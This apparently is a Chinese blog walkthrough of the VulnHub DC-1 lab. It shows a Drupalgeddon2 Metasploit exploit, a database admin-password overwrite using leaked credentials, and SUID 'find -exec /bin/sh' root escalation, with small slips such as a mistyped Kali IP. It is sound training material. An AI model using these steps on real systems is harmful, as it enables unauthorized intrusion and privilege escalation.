DC-1靶场通关记录

0.序言

DC-1是VulnHub 的入门级综合渗透靶机,适合练习完整渗透链路:信息收集→Web 漏洞利用→内网信息挖掘→Linux 提权,完整模拟真实渗透流程。

靶场下载地址为:DC ~ VulnHub,下载好压缩包后用本地的VMware导入打开即可(我第一次导入失败了,重试一次即可)

根据下载页面可知,该靶场共有五个flag

 

1.环境配置

需要将靶场与kali(要用到的用于渗透测试的虚拟机)置于同一网段,将他们的网络适配器均设置为NAT模式

image

然后开机,开启状态如图

image

 

2.信息收集

2.1 确认ip

在kali里查一下ip,为129.168.220.129

image

2.2 探测主机端口

查看一下DC靶场的MAC地址为  00:0C:29:12:5E:0C

image

使用nmap确定一下DC-1主机的具体端口

nmap -sn 129.168.220.129/24

-sn : 相当于Ping扫描,只做存活主机探测,不做端口扫描

/24:CIDR 前缀长度,/24相当于扫C段256个端口

找到对应mac地址的ip地址

image

确认靶场的ip为192.168.220.130,然后扫端口

nmap -A -p- 192.168.220.130

-A是全面扫描, -p-是扫描全部端口(0-65535)

,发现开放了22,80和111三个端口,即ssh,http和rpcbind

image

(之前做了一个基于python的资源扫描工具,试一下能不能扫出来)

image

也可以扫出来,满意了(●'◡'●)

(暂未开源,因为感觉功能还不完善,还在修修补补)

访问一下http服务:192.168.220.130:80

image

利用浏览器插件Wappalyzer可以识别网站的指纹,确认CMS为Drupal 7

image

然后可以直接在网上查找该CMS的漏洞利用方法

3. flag1

kali中有一个现成的模块MSF,我们直接利用MSF模块找漏洞

通过msfconsole启动

image

找一下drupal: search drupal

image

可以看到有很多版本的内容,选个最新的且威胁等级最高的,就你了,2018的

use exploit/unix/webapp/drupal_drupalgeddon2 (或者use 1,因为该漏洞前面的编号为1)

image

然后需要查看漏洞模块必须配置的参数 show options,其中为yes的是必填内容

image

我们需要补充Current Setting中为空而后面为yes的部分,即RHOSTS,即目标ip(也就是靶场的ip,LHOST为本机ip)

image

配置成功后开始攻击,run一下

image

看来是攻击成功了,meterpreter位于目标主机的内存中,

meterpreter常用命令:

getuid          #查看当前权限
getsystem       #尝试提权到system
hashdump        #导出系统密码哈希
sysinfo         #查看目标系统信息
upload/download #上传下载文件
migrate         #进程迁移

 这里我们ls看一下目录,发现第一个flag

image

4.flag2

 瞅瞅flag1,cat flag1.txt

 image

很好,还需要配置文件,但问题是我怎么知道配置文件在哪儿以及叫什么名字呢?

意识到一个好的CMS需要配置文件,这也是个CMS,搜一下Drupal配置文件的默认地址

image

尝试找一下settings.php文件

image

果然就在默认路径下,看一下内容:cat settings.php,结果冒出来好长一串,翻回到最上面发现flag2,以及数据库的相关配置

 image

5.flag3

 flag2翻译一下:

~暴力破解和字典攻击并非获取访问权限的唯一方式(而且你确实需要访问权限)

~你能用这些证书做什么?

 既然有数据库的用户和密码信息,先登录一下呗

先需要进到系统的shell,这里可以以python脚本的形式实现(kali自带python)

python -c "import pty; pty.spawn ('/bin/bash');"

-c:python 执行字符串里的代码,不运行 py 文件

import pty:导入 pty 模块,pty 是伪终端 (Pseudo‑Terminal) 库

pty.spawn('/bin/bash'):生成一个真正的交互式 bash 伪终端

image

mysql -udbuser -pR0ck3t

image

成功登录进来,看看里面有什么

 image

 看看drupaldb中的内容。里面的表很多,但发现了两个可能有用的表

image

 一个一个看,select * from users;发现内容很长,表很乱,用\G整理一下

image

其中有用的为后两条

 image

 第二条记录用户名为admin,看来这就是目标了,密码明显是加过密的。加密相关的文件应该就在靶机上,先exit退出数据库,

找一找有没有跟password相关的文件之类的,find / -name *password*

image

 注意到有一个password-hash.sh文件,hash是一种密码学算法,数据库存储哈希值很常见,看一下该文件

 image

发现是一个php脚本,查看功能确认是给密码做哈希运算

 准备生成一个简单密码的哈希结果,用于替换admin的密码,就试试666666吧

需要先去到网站的根目录www下,cd ../..

php scripts/password-hash.sh 666666

image

 然后把hash值记下来,赋值给库里admin的password

$S$D5OU5X.B/gVcMd1McumftGf8jIuorVHAyM7KbKvUcRwCzWiXMPjp

再进一次数据库,mysql -udbuser -pR0ck3t然后进到表里再执行

update users set pass="$S$D5OU5X.B/gVcMd1McumftGf8jIuorVHAyM7KbKvUcRwCzWiXMPjp" where name="admin";

image

成功修改密码,现在尝试在网页处进行登录

image

成功登录,在dashboard模块中发现flag3

image

image

6. flag4

叫我找passwd文件呢,直接一个查找

find / -name passwd

image

看一看内容,发现flag4

image

看看路径下有什么

image

一个txt文件,瞅一眼

image

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

你能用同样的方法在 root 中查找或访问flag吗?

可能可以。但也许并不那么容易。或者也很容易?

意思是需要进root,需要进行提权

7.flag5

那哪些文件内容是需要root权限的呢?

这里需要用到suid枚举特殊权限的文件

find / -perm -u=s -type f 2>/dev/null

/:从根目录全盘搜索

-perm -u=s:筛选设置 SUID 位的文件(如果二进制文件设置 SUID 位 s,普通用户运行该程序时,会以文件所有者(这里是 root)权限运行,而非当前用户权限。)(-permfind 命令的权限匹配参数,用来按文件权限去查找文件)(u=s,suid,执行时以文件所有者身份运行)(如果一个程序带 SUID+s,普通用户运行它,这个程序就以root 身份跑起来

-type f:只搜索可执行文件,排除目录

2>/dev/null:把权限拒绝报错丢弃,屏幕只输出有效结果(2代表错误输出)

 image

 这么多文件,怎么确定呢?

观摩其他大佬的思路,说是flag4中的txt文件提示内容就为find文件,并且后面的-exec正好是find的一个功能,

作用是找到文件之后,执行一条指定的命令。(还能这样理解?好像也能理解)

另一个思路是需要一个个去查GTFOBins(走开,垃圾桶,这是一个Linux 后渗透知识库,专门记录:系统自带正常命令,在配置错误情况下如何被滥用做提权、读文件、弹 shell、逃逸限制 shell的网站

 当然我觉得这个网站可以利用,但这个思路不一定好使,因为我搜第一个mount也能搜到,并且功能就是权限提升(ˉ▽ˉ;)...

image

(该图为find | GTFOBins的截图内容),利用给出的shell

find . -exec /bin/sh \; -quit

 

image

 image

 得到最终flag!

 简单理解一下最后这几步,

‑exec是 find 内置功能:当匹配到文件时,find 调用系统函数 fork() 创建子进程,在子进程里面执行 /bin/sh

 子进程会继承父进程 find 的权限,父进程 find 是 root,所以这个新启动的/bin/sh也是 root 权限

子进程运行/bin/sh,这就是一个交互式命令解释器(shell),接管输入输出。于是终端界面就变成这个 root 的 sh,命令都会以root身份执行。

如果用/bin/bash,bash 默认会主动丢弃 SUID 权限,回落为普通用户,所以要用bash -p参数

‑p用于保留 SUID 带来的 root 权限

 -quit作用:一旦完成一次‑exec执行,find 主程序直接退出,不再继续搜索

 由于find被配置了root权限,因此利用find创建了一个子shell,该shell也有root权限

 

 成功!!o(* ̄▽ ̄*)ブ

 

posted @ 2026-09-08 17:16  反对的只剩下月亮  阅读(15)  评论(0)    收藏  举报